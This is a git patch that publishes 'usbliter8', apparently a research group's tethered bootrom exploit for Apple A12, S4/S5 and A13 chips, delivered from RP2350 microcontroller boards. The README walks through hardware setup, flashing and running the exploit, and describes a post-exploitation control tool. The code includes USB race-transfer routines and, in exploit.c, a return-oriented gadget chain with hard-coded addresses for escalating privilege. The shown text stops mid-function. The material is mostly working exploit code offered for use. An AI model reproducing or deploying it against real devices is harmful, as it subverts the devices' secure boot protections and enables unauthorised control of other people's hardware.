From afe8b5c8998fce63e76c0b2a88c606c61e2950c7 Mon Sep 17 00:00:00 2001 From: Paradigm Shift Date: Thu, 18 Jun 2026 14:22:10 +0200 Subject: [PATCH] Initial commit --- .gitignore | 8 + CMakeLists.txt | 57 ++ README.md | 139 +++ boards/adafruit_feather_rp2040.cmake | 8 + boards/pico.cmake | 10 + boards/pico2.cmake | 6 + boards/pimoroni_tiny2350.cmake | 9 + boards/unknown.cmake | 4 + boards/waveshare_rp2350_base.cmake | 5 + boards/waveshare_rp2350_usb_a.cmake | 5 + boards/waveshare_rp2350_zero.cmake | 5 + build_release.sh | 26 + bus.c | 98 ++ bus.h | 30 + exploit.c | 842 ++++++++++++++++++ exploit.h | 3 + led.c | 312 +++++++ led.h | 13 + log.h | 20 + main.c | 203 +++++ pico_sdk_import.cmake | 121 +++ pio_usb/CMakeLists.txt | 26 + pio_usb/library.properties | 11 + pio_usb/src/pio_usb.c | 642 +++++++++++++ pio_usb/src/pio_usb.h | 34 + pio_usb/src/pio_usb_configuration.h | 52 ++ pio_usb/src/pio_usb_device.c | 570 ++++++++++++ pio_usb/src/pio_usb_host.c | 775 ++++++++++++++++ pio_usb/src/pio_usb_ll.h | 242 +++++ pio_usb/src/sdk_compat.h | 31 + pio_usb/src/usb_crc.c | 63 ++ pio_usb/src/usb_crc.h | 22 + pio_usb/src/usb_definitions.h | 348 ++++++++ pio_usb/src/usb_rx.pio | 228 +++++ pio_usb/src/usb_rx.pio.h | 233 +++++ pio_usb/src/usb_tx.pio | 160 ++++ pio_usb/src/usb_tx.pio.h | 195 ++++ resources/descriptors_t8006.h | 45 + resources/descriptors_t8020.h | 45 + resources/handler_t8006.h | 13 + resources/handler_t8020.h | 13 + resources/handler_t8030.h | 16 + resources/shellcode_t8006.h | 71 ++ resources/shellcode_t8020.h | 71 ++ resources/shellcode_t8030.h | 98 ++ t8020_t8006_shellcode/make.sh | 16 + t8020_t8006_shellcode/start.S | 249 ++++++ t8020_t8006_shellcode/targets/t8006/blocks.S | 5 + t8020_t8006_shellcode/targets/t8006/cleanup.S | 28 + t8020_t8006_shellcode/targets/t8006/offsets.h | 31 + t8020_t8006_shellcode/targets/t8020/blocks.S | 5 + t8020_t8006_shellcode/targets/t8020/cleanup.S | 28 + t8020_t8006_shellcode/targets/t8020/offsets.h | 31 + t8030_shellcode/make.sh | 13 + t8030_shellcode/offsets.h | 26 + t8030_shellcode/patch.c | 45 + t8030_shellcode/start.S | 201 +++++ t8030_shellcode/symorder.txt | 1 + t8030_shellcode/tt.c | 52 ++ usb.c | 109 +++ usb.h | 12 + usb_req_handler/handler.c | 77 ++ usb_req_handler/make.sh | 16 + usb_req_handler/symorder.txt | 1 + usb_req_handler/targets/t8006/offsets.h | 8 + usb_req_handler/targets/t8020/offsets.h | 8 + usb_req_handler/targets/t8030/offsets.h | 10 + usbliter8ctl | 80 ++ 68 files changed, 6980 insertions(+) create mode 100644 .gitignore create mode 100644 CMakeLists.txt create mode 100644 README.md create mode 100644 boards/adafruit_feather_rp2040.cmake create mode 100644 boards/pico.cmake create mode 100644 boards/pico2.cmake create mode 100644 boards/pimoroni_tiny2350.cmake create mode 100644 boards/unknown.cmake create mode 100644 boards/waveshare_rp2350_base.cmake create mode 100644 boards/waveshare_rp2350_usb_a.cmake create mode 100644 boards/waveshare_rp2350_zero.cmake create mode 100755 build_release.sh create mode 100644 bus.c create mode 100644 bus.h create mode 100644 exploit.c create mode 100644 exploit.h create mode 100644 led.c create mode 100644 led.h create mode 100644 log.h create mode 100644 main.c create mode 100644 pico_sdk_import.cmake create mode 100644 pio_usb/CMakeLists.txt create mode 100644 pio_usb/library.properties create mode 100644 pio_usb/src/pio_usb.c create mode 100644 pio_usb/src/pio_usb.h create mode 100644 pio_usb/src/pio_usb_configuration.h create mode 100644 pio_usb/src/pio_usb_device.c create mode 100644 pio_usb/src/pio_usb_host.c create mode 100644 pio_usb/src/pio_usb_ll.h create mode 100644 pio_usb/src/sdk_compat.h create mode 100644 pio_usb/src/usb_crc.c create mode 100644 pio_usb/src/usb_crc.h create mode 100644 pio_usb/src/usb_definitions.h create mode 100644 pio_usb/src/usb_rx.pio create mode 100644 pio_usb/src/usb_rx.pio.h create mode 100644 pio_usb/src/usb_tx.pio create mode 100644 pio_usb/src/usb_tx.pio.h create mode 100644 resources/descriptors_t8006.h create mode 100644 resources/descriptors_t8020.h create mode 100644 resources/handler_t8006.h create mode 100644 resources/handler_t8020.h create mode 100644 resources/handler_t8030.h create mode 100644 resources/shellcode_t8006.h create mode 100644 resources/shellcode_t8020.h create mode 100644 resources/shellcode_t8030.h create mode 100755 t8020_t8006_shellcode/make.sh create mode 100644 t8020_t8006_shellcode/start.S create mode 100644 t8020_t8006_shellcode/targets/t8006/blocks.S create mode 100644 t8020_t8006_shellcode/targets/t8006/cleanup.S create mode 100644 t8020_t8006_shellcode/targets/t8006/offsets.h create mode 100644 t8020_t8006_shellcode/targets/t8020/blocks.S create mode 100644 t8020_t8006_shellcode/targets/t8020/cleanup.S create mode 100644 t8020_t8006_shellcode/targets/t8020/offsets.h create mode 100755 t8030_shellcode/make.sh create mode 100644 t8030_shellcode/offsets.h create mode 100644 t8030_shellcode/patch.c create mode 100644 t8030_shellcode/start.S create mode 100644 t8030_shellcode/symorder.txt create mode 100644 t8030_shellcode/tt.c create mode 100644 usb.c create mode 100644 usb.h create mode 100644 usb_req_handler/handler.c create mode 100755 usb_req_handler/make.sh create mode 100644 usb_req_handler/symorder.txt create mode 100644 usb_req_handler/targets/t8006/offsets.h create mode 100644 usb_req_handler/targets/t8020/offsets.h create mode 100644 usb_req_handler/targets/t8030/offsets.h create mode 100755 usbliter8ctl diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7130f13 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +.DS_Store +/artifacts +/build +/t8020_t8006_shellcode/build +/t8030_shellcode/build +/usb_req_handler/build +/.cache +/.vscode diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..8233bb6 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,57 @@ +cmake_minimum_required(VERSION 3.13) + +# ==================================================================================== + +include(pico_sdk_import.cmake) + +project(usbliter8 C CXX ASM) + +set(CMAKE_BUILD_TYPE MinSizeRel) + +SET(BOARD_DEFINITION ${CMAKE_SOURCE_DIR}/boards/${PICO_BOARD}.cmake) + +if (NOT EXISTS ${BOARD_DEFINITION}) + SET(BOARD_DEFINITION ${CMAKE_SOURCE_DIR}/boards/unknown.cmake) +endif() + +include(${BOARD_DEFINITION} OPTIONAL) + +if (NOT DEFINED USBLITER8_ENABLE_SHELL) + add_compile_definitions( + WITH_AUTO_MODE=1 + ) +endif() + +pico_sdk_init() + +add_executable(usbliter8 + main.c + led.c + bus.c + usb.c + exploit.c +) + +pico_set_program_name(usbliter8 "usbliter8") +pico_set_program_version(usbliter8 "1.0") + +target_compile_definitions(usbliter8 PRIVATE + PICO_STACK_SIZE=0x1000 + PICO_PRINTF_SUPPORT_EXPONENTIAL=0 + PICO_PRINTF_SUPPORT_FLOAT=0 + PICO_PRINTF_SUPPORT_PTRDIFF_T=0 +) + +pico_enable_stdio_uart(usbliter8 0) +pico_enable_stdio_usb(usbliter8 1) + +add_subdirectory(pio_usb) + +target_link_libraries(usbliter8 + pico_stdlib + pico_status_led + hardware_pwm + pio_usb +) + +pico_add_extra_outputs(usbliter8) diff --git a/README.md b/README.md new file mode 100644 index 0000000..4d7d904 --- /dev/null +++ b/README.md @@ -0,0 +1,139 @@ +# usbliter8 + +Tethered bootrom exploit for Apple A12, S4/S5 & A13 SoCs (A12X/Z can theoretically be supported as well, but it's not implemented yet). + +## Bug & exploit write-up + +Available in [our blogpost](https://ps.tc/pages/blog-usbliter8.html). + +## Usage + +### Hardware requirements + +The exploit abuses a very low level bug of the USB controller. This means that default Mac/PC USB stack can't normally reach it. So instead we use Raspberry Pi's RP2350-based microcontroller boards. + +The board we use is [**Waveshare RP2350 USB-A**](https://www.waveshare.com/wiki/RP2350-USB-A) with Lightning to USB-A cable and R13 resistor *optionally* [removed](https://qsantos.fr/2025/11/21/fixing-the-rp2350-usb-a-not-working-as-usb-host/). + +Other RP2350-based boards can be used as well if you cut a Lightning cable and solder it directly to corresponding pins. + +Typically GPIO12 & 13 are used for D+ & D- signals respectively, but that's configurable. Do NOT use USB-C cables, as those often have a very different pinout. And keep the remaining cable (with the Lightning end) relatively short. + +Here is a list of the boards we tested the exploit on: + +* Waveshare RP2350 USB-A +* Waveshare RP2350 Zero +* Pimoroni TINY2350 +* Raspberry Pi Pico 2 + +RP2040 can be theoretically used as well, but this is currently **NOT** very stable and Apple A13 SoC does **NOT** work at all. + +### Flashing firmware + +Compiled **UF2** images for the boards mentioned above are available in Releases section. They can be flashed either via mass storage protocol of RP2350 bootrom or via [picotool](https://github.com/raspberrypi/picotool). + +If your board is not among supported ones, you can create your own board configuaration file (in `/boards` folder) and refer to building instructions that come later in this README. + +### Exploiting + +1. Enter [DFU mode](https://theapplewiki.com/wiki/DFU_Mode#A11_and_newer_devices_without_clickable_home_buttons_(iPhone_8_and_above,_iPad_Pro_2018_and_above,_iPad_Mini_2021,_iPad_Air_2020_and_above,_iPad_10th_generation)). Do this while device is connected to your Mac/PC + * Do NOT enter DFU by breaking LLB - this will not work + +2. Unplug it from Mac/PC and replug it into your RP2350 board + +3. In a few seconds, the exploit will finish + +There are 2 ways you can watch the process: + +1. RP2350 appears as a virtual COM-port - the exploit logs will be printed there + +2. Via on-board LED + +If LED is RGB: + +1. Blinking orange - RP2350 is booting (takes ~2 second) +2. Steady orange - idle, ready to exploit +3. Blue - exploit in progress +4. Green - exploit succeeded! +5. Red - exploit failed + +If LED is single-color: + +1. Slow blinking (200ms period) - RP2350 is booting (takes ~2 second) +2. Breathing - idle, ready to exploit +3. Rapid blinking (100 ms) - exploit in progress +4. Steady - exploit succeeded! +5. Off - exploit failed + +The exploit takes 0.7 - 1.2 seconds to run. After either success or failure, you need to reboot the microcontroller board - via on-board button, or via `picotool`, or just by replugging power. + +### After exploiting + +Replug the device back to your Mac/PC. + +In USB serial number you shall see PWND string in the end, for instance: + +``` +CPID:8020 CPRV:11 CPFM:03 SCEP:01 BDID:0E ECID:XXXXXXXXXXXXXXXX IBFL:3C SRTG:[iBoot-3865.0.0.4.7] PWND:[usbliter8] +``` + +There is a Python control tool (`usbliter8ctl`) in the repo which allows you to demote production mode or boot raw iBoot ("raw" as in decrypted and free of any container). + +The control tool depends on `pyusb` that you can get from **pip**. + +``` +➜ usbliter8 git:(main) ✗ ./usbliter8ctl +usage: usbliter8ctl [-h] {boot,demote} ... + +Love is Control + +positional arguments: + {boot,demote} + boot boot raw iBoot + demote demote production mode + +options: + -h, --help show this help message and exit +``` + +## Building + +If you want to compile the firmware yourself, you need to get CMake, [Pico SDK](https://github.com/raspberrypi/pico-sdk), [picotool](https://github.com/raspberrypi/picotool) (depends on `libusb`) and [ARM toolchain](https://developer.arm.com/downloads/-/arm-gnu-toolchain-downloads). + +Due to the racy nature of the exploit, code changes (even seemingly unrelated) might decrease reliability. We believe this is due to RP2350 executing code from external QSPI flash. The actual instructions can go to a little cache, and then evictions from that cache break timings and then the entire thing breaks. + +Here are the exact versions of Pico SDK and ARM toolchain that we used: + +* Pico SDK - SDK Release 2.2.0 (commit `a1438dff1d38bd9c65dbd693f0e5db4b9ae91779`) +* ARM toolchain - 15.2.Rel1 + +``` +cd usbliter8 +cmake -S . -B build -DPICO_BOARD=$PICO_BOARD -DPICO_SDK_PATH=$PICO_SDK_PATH -DPICO_TOOLCHAIN_PATH=$PICO_TOOLCHAIN_PATH +cmake --build build +``` + +Change `$PICO_SDK_PATH` and `$PICO_TOOLCHAIN_PATH` to your paths. `$PICO_BOARD` is one of the following: + +* waveshare_rp2350_usb_a +* waveshare_rp2350_zero +* pimoroni_tiny2350 +* pico2 + +Even though usage of RP2040 is discouraged, you can still try: + +* adafruit_feather_rp2040 +* pico + +You can also add your own board definition file to `/board` catalog. The board name must match board name in Pico SDK. + +Or use the "unknown" one (picked by default for not supported boards). It uses GPIO12/13 for USB data signals and disables LED. + +## Authors + +* [@__gsch](https://x.com/__gsch) of Paradigm Shift - bug & exploitation +* [@hdesk@infosec.exchange](https://infosec.exchange/@hdesk/) of Paradigm Shift - exploitation +* **REDACTED** of Paradigm Shift - post-exploitation & development + +## Credits + +* **sekigon-gonnoc** - for the [PIO USB library](https://github.com/sekigon-gonnoc/Pico-PIO-USB) diff --git a/boards/adafruit_feather_rp2040.cmake b/boards/adafruit_feather_rp2040.cmake new file mode 100644 index 0000000..aae74c2 --- /dev/null +++ b/boards/adafruit_feather_rp2040.cmake @@ -0,0 +1,8 @@ +add_compile_definitions( + BOARD_NAME="Adafruit Feather RP2040" + PIO_USB_DP_PIN_DEFAULT=12 + LED_NEOPIXEL=1 +) + +# MinSizeRel breaks usb_task() on RP2040... +set(CMAKE_BUILD_TYPE Release) diff --git a/boards/pico.cmake b/boards/pico.cmake new file mode 100644 index 0000000..bb4b311 --- /dev/null +++ b/boards/pico.cmake @@ -0,0 +1,10 @@ +add_compile_definitions( + BOARD_NAME="Raspberry Pi Pico" + PIO_USB_DP_PIN_DEFAULT=12 + # Seems to break reliability even further, IDK + # LED_SINGLE_COLOR=1 + # LED_PIN=PICO_DEFAULT_LED_PIN +) + +# MinSizeRel breaks usb_task() on RP2040... +set(CMAKE_BUILD_TYPE Release) diff --git a/boards/pico2.cmake b/boards/pico2.cmake new file mode 100644 index 0000000..6472997 --- /dev/null +++ b/boards/pico2.cmake @@ -0,0 +1,6 @@ +add_compile_definitions( + BOARD_NAME="Raspberry Pi Pico 2" + PIO_USB_DP_PIN_DEFAULT=12 + LED_SINGLE_COLOR=1 + LED_PIN=PICO_DEFAULT_LED_PIN +) diff --git a/boards/pimoroni_tiny2350.cmake b/boards/pimoroni_tiny2350.cmake new file mode 100644 index 0000000..cb2bb22 --- /dev/null +++ b/boards/pimoroni_tiny2350.cmake @@ -0,0 +1,9 @@ +add_compile_definitions( + BOARD_NAME="Pimoroni TINY2350" + PIO_USB_DP_PIN_DEFAULT=2 + LED_RGB_PWM=1 + LED_RGB_ACTIVE_LOW=1 + LED_RGB_RED_PIN=TINY2350_LED_R_PIN + LED_RGB_GREEN_PIN=TINY2350_LED_G_PIN + LED_RGB_BLUE_PIN=TINY2350_LED_B_PIN +) diff --git a/boards/unknown.cmake b/boards/unknown.cmake new file mode 100644 index 0000000..72c1cb4 --- /dev/null +++ b/boards/unknown.cmake @@ -0,0 +1,4 @@ +add_compile_definitions( + BOARD_NAME="UNKNOWN" + PIO_USB_DP_PIN_DEFAULT=12 +) diff --git a/boards/waveshare_rp2350_base.cmake b/boards/waveshare_rp2350_base.cmake new file mode 100644 index 0000000..2b54adb --- /dev/null +++ b/boards/waveshare_rp2350_base.cmake @@ -0,0 +1,5 @@ +add_compile_definitions( + PIO_USB_DP_PIN_DEFAULT=12 + LED_NEOPIXEL=1 + LED_RED_GREEN_SWAPPED=1 +) diff --git a/boards/waveshare_rp2350_usb_a.cmake b/boards/waveshare_rp2350_usb_a.cmake new file mode 100644 index 0000000..1d9cc88 --- /dev/null +++ b/boards/waveshare_rp2350_usb_a.cmake @@ -0,0 +1,5 @@ +add_compile_definitions( + BOARD_NAME="Waveshare RP2350 USB-A" +) + +include(boards/waveshare_rp2350_base.cmake) diff --git a/boards/waveshare_rp2350_zero.cmake b/boards/waveshare_rp2350_zero.cmake new file mode 100644 index 0000000..d5f6529 --- /dev/null +++ b/boards/waveshare_rp2350_zero.cmake @@ -0,0 +1,5 @@ +add_compile_definitions( + BOARD_NAME="Waveshare RP2350 Zero" +) + +include(boards/waveshare_rp2350_base.cmake) diff --git a/build_release.sh b/build_release.sh new file mode 100755 index 0000000..7b5f7f5 --- /dev/null +++ b/build_release.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +set -e + +BOARDS=( + waveshare_rp2350_usb_a + waveshare_rp2350_zero + pimoroni_tiny2350 + pico2 + # adafruit_feather_rp2040 + # pico +) + +rm -rf artifacts +mkdir -p artifacts + +for b in "${BOARDS[@]}" +do + rm -rf build + echo "building for $b" + cmake -S . -B build -DPICO_BOARD=$b -DPICO_SDK_PATH=$PICO_SDK_PATH -DPICO_TOOLCHAIN_PATH=$PICO_TOOLCHAIN_PATH + cmake --build build -j24 + cp build/usbliter8.uf2 artifacts/usbliter8.$b.uf2 +done + +rm -rf build diff --git a/bus.c b/bus.c new file mode 100644 index 0000000..ca456f0 --- /dev/null +++ b/bus.c @@ -0,0 +1,98 @@ +#include "bus.h" + +#include +#include +#include + +#include "hardware/sync.h" +#include "pico/stdlib.h" + +#include "pio_usb.h" +#include "pio_usb_ll.h" +#include "usb_definitions.h" + +void bus_init(bus_t *b, bool skip_alarm_pool) { + pio_usb_configuration_t cfg = PIO_USB_DEFAULT_CONFIG; + cfg.skip_alarm_pool = skip_alarm_pool; + b->dev = pio_usb_host_init(&cfg); + b->root = PIO_USB_ROOT_PORT(0); + b->pp = PIO_USB_PIO_PORT(0); + b->maxpacket0 = 8; +} + +bool bus_wait_for_connect(bus_t *b) { + while (!b->root->connected) { + sleep_ms(10); + tight_loop_contents(); + } + + return true; +} + +void bus_close_all(bus_t *b) { + pio_usb_host_close_device(0, b->dev->address); +} + +void bus_reset(bus_t *b, uint32_t hold_ms) { + pio_usb_host_port_reset_start(0); + sleep_ms(hold_ms); + + pio_usb_host_port_reset_end(0); + sleep_ms(50); // recovery + slack + + b->dev->connected = true; + b->dev->is_fullspeed = b->root->is_fullspeed; + b->dev->is_root = true; + b->dev->root = b->root; + b->dev->address = 0; +} + +bool bus_open_ep0(bus_t *b, uint8_t maxpacket) { + endpoint_descriptor_t ep0 = { + .length = 7, + .type = DESC_TYPE_ENDPOINT, + .epaddr = 0x00, + .attr = EP_ATTR_CONTROL, + .max_size = {maxpacket, 0}, + .interval = 0, + }; + + if (!pio_usb_host_endpoint_open(0, b->dev->address, (const uint8_t *)&ep0, false)) { + return false; + } + + b->maxpacket0 = maxpacket; + + return true; +} + +void bus_reset_ep0_reopen(bus_t *b) { + bus_close_all(b); + bus_reset(b, 20); + bus_open_ep0(b, 64); +} + +int bus_control_xfer(bus_t *b, const uint8_t setup[8], uint8_t *data, uint16_t data_len, bool data_in, uint32_t timeout_ms) { + bool has_data = (data != NULL) && (data_len > 0); + + b->dev->control_pipe.stage = STAGE_SETUP; + b->dev->control_pipe.operation = data_in ? CONTROL_IN : CONTROL_OUT; + b->dev->control_pipe.rx_buffer = data_in ? data : NULL; + b->dev->control_pipe.request_length = data_in ? data_len : 0; + b->dev->control_pipe.out_data_packet.tx_address = (!data_in && has_data) ? data : NULL; + b->dev->control_pipe.out_data_packet.tx_length = (!data_in && has_data) ? data_len : 0; + + if (!pio_usb_host_send_setup(0, b->dev->address, setup)) { + return -1; + } + + absolute_time_t deadline = make_timeout_time_ms(timeout_ms); + while (b->dev->control_pipe.operation != CONTROL_COMPLETE && b->dev->control_pipe.operation != CONTROL_ERROR) { + if (time_reached(deadline)) { + return -2; + } + tight_loop_contents(); + } + + return (b->dev->control_pipe.operation == CONTROL_COMPLETE) ? 0 : -1; +} diff --git a/bus.h b/bus.h new file mode 100644 index 0000000..46ef2af --- /dev/null +++ b/bus.h @@ -0,0 +1,30 @@ +#pragma once + +#include +#include + +#include "pio_usb.h" +#include "pio_usb_ll.h" + +typedef struct { + pio_port_t *pp; + root_port_t *root; + usb_device_t *dev; + uint8_t maxpacket0; +} bus_t; + +void bus_init(bus_t *b, bool skip_alarm_pool); + +bool bus_wait_for_connect(bus_t *b); + +void bus_reset_ep0_reopen(bus_t *b); + +void bus_reset(bus_t *b, uint32_t hold_ms); + +void bus_close_all(bus_t *b); + +bool bus_open_ep0(bus_t *b, uint8_t maxpacket); + +int bus_control_xfer(bus_t *b, const uint8_t setup[8], + uint8_t *data, uint16_t data_len, bool data_in, + uint32_t timeout_ms); diff --git a/exploit.c b/exploit.c new file mode 100644 index 0000000..68f87af --- /dev/null +++ b/exploit.c @@ -0,0 +1,842 @@ +#include "exploit.h" + +#include +#include +#include +#include +#include +#include + +#include +#include "pico/stdlib.h" + +#include "usb_crc.h" +#include "pio_usb.h" +#include "pio_usb_ll.h" +#include "usb_definitions.h" + +#include "log.h" +#include "led.h" +#include "usb.h" +#include "bus.h" + +// ======================== Device identification ======================== + +struct usb_setup_req_header { + uint8_t bmRequestType; + uint8_t bRequest; + uint16_t wValue; + uint16_t wIndex; + uint16_t wLength; +} __attribute__((packed)); + +struct usb_device_descriptor { + uint8_t bLength; + uint8_t bDescriptorType; + uint16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize; + uint16_t idVendor; + uint16_t idProduct; + uint16_t bcdDevice; + uint8_t iManufacturer; + uint8_t iProduct; + uint8_t iSerialNumber; + uint8_t bNumConfigurations; +} __attribute__((packed)); + +static +uint16_t decode_usb_sn_cpid(const char *serial) { + char raw_cpid[4 + 1] = { 0 }; + + const char *cpid_pos = strstr(serial, "CPID:"); + if (!cpid_pos) { + goto fail; + } + + cpid_pos += sizeof("CPID:") - 1; + + memcpy(raw_cpid, cpid_pos, 4); + + char *end = NULL; + uint16_t cpid = strtoul(raw_cpid, &end, 16); + + if (!end || *end != '\0') { + goto fail; + } + + return cpid; + +fail: + INFO("couldn't decode CPID!"); + return 0; +} + +struct dev_identify_ctx { + uint16_t cpid; + bool pwnd; +}; + +static +int device_identify_internal(bus_t *b, void *_ctx) { + int rc = 0; + static uint8_t raw_serial[256] = { 0 }; + static char serial[128] = { 0 }; + struct usb_device_descriptor dev_desc = { 0 }; + + struct dev_identify_ctx *ctx = _ctx; + + struct usb_setup_req_header dev_desc_req = { + .bmRequestType = 0x80, + .bRequest = 0x06, + .wValue = 0x0100, + .wIndex = 0x0000, + .wLength = sizeof(dev_desc) + }; + + rc = bus_control_xfer(b, (uint8_t *)&dev_desc_req, (uint8_t *)&dev_desc, sizeof(dev_desc), true, 100); + if (rc != 0) { + return -2; + } + + if (dev_desc.idVendor != 0x5AC || dev_desc.idProduct != 0x1227) { + INFO("VID:0x%04X PID:0x%04X is not an Apple DFU device", dev_desc.idVendor, dev_desc.idProduct); + return -1; + } + + struct usb_setup_req_header sn_req_pre = { + .bmRequestType = 0x80, + .bRequest = 0x06, + .wValue = 0x0300 | (dev_desc.iSerialNumber), + .wIndex = 0x0000, + .wLength = 0x0002 + }; + + rc = bus_control_xfer(b, (uint8_t *)&sn_req_pre, raw_serial, 2, true, 100); + if (rc != 0) { + INFO("failed to request serial number (preflight)"); + return rc; + } + + uint8_t type = raw_serial[1]; + if (type != 0x03) { + INFO("this doesn't look like a string descriptor"); + return -1; + } + + uint8_t len = raw_serial[0] - 2; + + struct usb_setup_req_header sn_req = { + .bmRequestType = 0x80, + .bRequest = 0x06, + .wValue = 0x0300 | (dev_desc.iSerialNumber), + .wIndex = 0x0000, + .wLength = 0x0002 + len + }; + + rc = bus_control_xfer(b, (uint8_t *)&sn_req, raw_serial, sn_req.wLength, true, 100); + if (rc != 0) { + INFO("failed to request serial number"); + return rc; + } + + int i = 0; + for (; i < len / 2; i++) { + serial[i] = raw_serial[2 + i*2]; + } + + serial[i] = '\0'; + + INFO("got Apple DFU device:"); + INFO("%s", serial); + + ctx->cpid = decode_usb_sn_cpid(serial); + if (ctx->cpid == 0) { + return -1; + } + + ctx->pwnd = strstr(serial, " PWND:[") != NULL; + + return 0; +} + +#define DEFAULT_USB_TIMEOUT (200 * 1000) + +int device_identify(uint16_t *cpid, bool *pwnd) { + struct dev_identify_ctx ctx = {0}; + + int ret = usb_bus_execute(device_identify_internal, &ctx, DEFAULT_USB_TIMEOUT); + + if (ret == 0) { + *cpid = ctx.cpid; + *pwnd = ctx.pwnd; + } + + return ret; +} + +// ======================== Overwrite buffers ======================== + +__attribute__((aligned(64))) +static uint32_t t8020_t8006_overwrite[0xC00 / 4] = { 0 }; + +__attribute__((aligned(64))) +static uint32_t t8020_t8006_shellcode[0x400 / 4] = { 0 }; + +// The overwrite goes in a weird order, +// so we gotta convert our payloads accordingly + +static +void SET32(uint32_t *buf, uint64_t start, uint64_t addr, uint32_t val) { + uint32_t off = start - addr; + uint32_t group = off / (4 * 3); + uint32_t left = off % (4 * 3); + + if (left) { + group += 1; + } + + uint32_t ov_off = group * 3 + (left ? (12 - left) / 4 : 0) - 3 - 1; + + buf[ov_off] = val; +} + +static +void SET64(uint32_t *buf, uint64_t start, uint64_t addr, uint64_t val) { + uint32_t lo = val & (0xFFFFFFFF); + uint32_t hi = (val >> 32); + + SET32(buf, start, addr, lo); + SET32(buf, start, addr + 4, hi); +} + +static +void SETMANY(uint32_t *buf, uint64_t start, uint64_t addr, const void *data, size_t len) { + for (size_t i = 0; i < len; i += 4) { + uint32_t val = *(uint32_t *)(data + i); + SET32(buf, start, addr + i, val); + } +} + +// ================== Overwrite transfer implementation ================== + +volatile uint16_t crazy_delay = 0; // sleep between attempts (us) + +#define N_TIMEOUT_THRESHOLD 64 // having too many timeouts is a failure, for sure +#define PRINT_EVERY 128 // emit a progress line every X attempts (DEBUG mode only) + +#define PB_MAX_PAYLOAD 256 + +#define PB_ENCODED_BUF_SIZE(raw_bytes) (((raw_bytes) * 2 * 7 / 6) + 8) + +size_t pb_data(uint8_t pid_data, const uint8_t *payload, size_t payload_len, uint8_t encoded[]) { + uint8_t raw[2 + PB_MAX_PAYLOAD + 2] = { 0 }; + + raw[0] = USB_SYNC; + raw[1] = pid_data; + + if (payload && payload_len) { + memcpy(&raw[2], payload, payload_len); + } + + uint16_t crc = calc_usb_crc16(payload, payload_len); + raw[2 + payload_len] = crc & 0xff; + raw[2 + payload_len + 1] = (crc >> 8) & 0xff; + + return pio_usb_ll_encode_tx_data(raw, 2 + payload_len + 2, encoded); +} + +__always_inline +static int pb_transfer(bus_t *b, int token, void *enc_data, size_t enc_len) { + uint8_t hs = -1; + pio_port_t *pp = b->pp; + + uint32_t irq = save_and_disable_interrupts(); + { + pio_usb_bus_prepare_receive(pp); + pio_usb_bus_send_token(pp, token, b->dev->address, 0); + pio_usb_bus_usb_transfer(pp, enc_data, enc_len); + pio_usb_bus_start_receive(pp); + hs = pio_usb_bus_wait_handshake(pp); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + } + restore_interrupts(irq); + + return hs; +} + +struct crazy_counter { + uint32_t n_ack; + uint32_t n_timeout; + uint32_t n_other; + uint32_t attempts; +}; + +__always_inline +static int counter_advance(struct crazy_counter *cnt, uint8_t hs) { + cnt->attempts++; + switch (hs) { + case USB_PID_ACK: cnt->n_ack++; break; + case 0: cnt->n_timeout++; break; + default: cnt->n_other++; break; + } + + if (cnt->n_timeout > N_TIMEOUT_THRESHOLD) { + INFO("too many timeouts, failing"); + return -1; + } + + return 0; +} + +static int crazy_transfer(bus_t *b, uint32_t buf[], uint32_t n_iter) { + struct crazy_counter cnt = { 0 }; + uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 }; + + register uint64_t delay = crazy_delay; + + DEBUG("target=%ld ACKs, delay=%dus", n_iter, delay); + + while (cnt.n_ack < n_iter) { + uint32_t pattern = buf[cnt.n_ack]; + size_t enc_len = pb_data(USB_PID_DATA0, (void *)&pattern, sizeof(pattern), encoded); + uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len); + + if (counter_advance(&cnt, hs) != 0) { + return -1; + } + + sleep_us(delay); + } + + DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)", cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts); + + return 0; +} + +// ======================== T8020 & T8006 stuff ======================== + +// This is common for both T8020 & T8006 +#define TASK_SLEEP_US (400000) + +struct t8020_t8006_config { + uint16_t cpid; + uint16_t delay; + uint64_t ov_start; + uint32_t ov_size; + uint64_t shc_base; + uint64_t shc_start; + uint32_t shc_size; + void (*create_overwrite)(struct t8020_t8006_config *); + void (*create_shellcode)(struct t8020_t8006_config *); +}; + +#include "resources/descriptors_t8020.h" +#include "resources/shellcode_t8020.h" +#include "resources/handler_t8020.h" + +void t8020_create_overwrite(struct t8020_t8006_config *config) { + uint64_t ov_start = config->ov_start; + + // new LR - load X19 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028b18, 0x10000FC30); + + // load X19 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x19c028b58, 0x19C028D00); // X19 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028b68, 0x100007510); // next LR - load W8 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028d00, 0x19C018400); // set X19 value for store + + // load W8 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x19c028b78, 0x239100b14); // X19 - write addr for next step + SET64(t8020_t8006_overwrite, ov_start, 0x19c028b88, 0x100007358); // next LR - store W8 to X19 + + // store W8 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x19c028ba8, 0x10000e2bc); // next LR - load W0 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028b90, 0x19c028d00); // X20 - delay addr - 8 + SET32(t8020_t8006_overwrite, ov_start, 0x19c028d08, TASK_SLEEP_US); // set delay value + + // load W0 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x19c028bd8, 0x100003948); // next LR - BLR X19 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028bc8, 0x100009880); // X19 - task_sleep() + + // BLR X19 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x19c028c28, 0x1000088B0); // next LR - escalate to EL1 + SET64(t8020_t8006_overwrite, ov_start, 